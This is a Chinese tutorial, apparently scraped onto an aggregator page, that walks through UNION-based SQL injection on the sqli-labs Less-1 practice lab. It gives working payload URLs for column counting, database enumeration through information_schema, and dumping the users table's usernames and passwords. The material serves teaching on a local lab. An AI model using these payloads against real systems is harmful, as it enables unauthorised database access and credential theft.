sqli

您所在的位置:网站首页 sql联合查询union注入 sqli

sqli

2024-05-16 22:33| 来源: 网络整理| 查看: 265

在学习之前,我们要知道,什么是 SQL 注入?

一句话来说,攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。 SQL注入漏洞的危害是很大的,常常会导致整个数据库信息泄露,SQL注入也是最常见的Web漏洞之一。

联合查询注入的基本思路

1.判断是否存在注入点,是字符型注入还是数字型注入 2.order by 猜解 SQL 查询语句中的字段数 3.union select 确认显示字段的顺序(哪一个字段回显内容) 4.获取当前数据库 5.获取数据库中的表名 6.获取数据表中的列名(字段名) 7.获取字段的数据(获取到数据库信息,下载内容)

1.判断注入是否存在注入点,是字符型,还是数字型。

使用http://localhost/sqli-labs-master/Less-1/?id=1和http://localhost/sqli-labs-master/Less-1/?id=1a来进行判断

因为数字型注入的话,如果是1a的话会报错,字符型的话1a是正常解析的。

可以看出是一个字符型注入,字符型注入需要我们手动进行闭合,已达到破坏 sql 语句的效果

判断是否存在注入点,使用'和"引号尝试进行闭合破坏 SQl 语句 在输入1'闭合后,提示语法错误,存在注入点 注意:这里的 %27 是 url编码,chrome 浏览器会自动对 url 进行编码, %27 解码后就是单引号 常见的 URL 编码有:%20 空格 %3F 问号 %27 单引号 %28 %39 左右括号 %22 双引号

2.猜解 SQL 查询语句中的字段数

由于是联合查询注入,union select 联合查询语句的条件是需要和第一个 select 查询语句的字段数相同 所以需要猜解第一个查询语句中字段的数量,使用 order by order by 会根据指定的列进行排序,若没有这个列,语句执行报错显示没有这个字段,所以我们可以通过报错来判断拥有几个列 可以看出我们一共查询了两个字段的内容,order by 值为 3 的时候,语句报错了,同理 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 1 --+ 注意:--+ 经过转移为了 -- ,在 SQL 语句中 -- 是注释的意思。 常用的注释也有 # 号 --+ -- 正常 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 2 --+ 正常 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 3 --+ 正常 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' order by 4 --+ 报错,所以,第一个语句使用了三个列(三个字段),在测试中可是直接输入100来判断语句是否错误,然后慢慢缩小猜解

3.确认字段显示顺序,看一看那个字段可以回显我们查询的值

使用 union select 联合查询进行测试 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' union select 1,2,3 --+ 并没有任何回显,是因为第一个查询语句把所有站位都使用了,所以我们需要把第一个查询语句查询失败 可以使用 and 1=2 或者 id = -1 来进行查询错误 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=1' and 1=2 union select 1,2,3 --+和http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,3 --+ 这两句回显的结果都是一样的,发现 2 和 3 可以返回查询结果

4.获取当前数据库和当前用户(现在我们就可以执行 select 查询语句了)

测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,user(),database() --+ 获取到当前数据库名为 security ,用户为 root@localhost。也可以查询数据库版本,数据库存储路径等 version(),@@datadir 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,version(),@@datadir --+ 获取到当前数据库版本为 5.7.26,路径为 C:\phpstudy_pro\Extensions\MySQL5.7.26\data\

5.使用 information_schema 数据库下的 tables 表来查询 security 数据库中的表

mysql 中默认有 information_schema 数据库,记录的有所有数据库的所有信息,其中 tables 记录着所有数据库的表名 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+ 使用 table_schema 列来进行筛选 security 数据库的表名 查询成功,但是只返回了一个表名,这里可以使用到 MySQL 中的一个函数 group_concat() 可以看出,group_concat()函数会将所有的查询结果返回到一行一列中,其中每行之间使用 , 号隔开 使用 group_concat() 函数进行测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 可以发现,在 security 数据库下有 emails,referers,uagents,users 这几个表,一看就知道用户名密码在 users 表下

6.使用 information_schema 数据库下的 columns 表来查询 security 数据库下的 users 表的字段名

columns 表记录着所有表的字段名 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ 可以看到有 id,username,password 这三个字段

7.获取字段内容

我们当前在 security 数据库下,可以直接查询 users 表 字段的内容。 测试:http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,group_concat(username,'~',password),3 from users--+ 成功获取数据库用户名和密码。 由于 group_concat 列之间没有间隔,我们在 username 和 password 的之间添加了一个 ~ 作为占位符



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3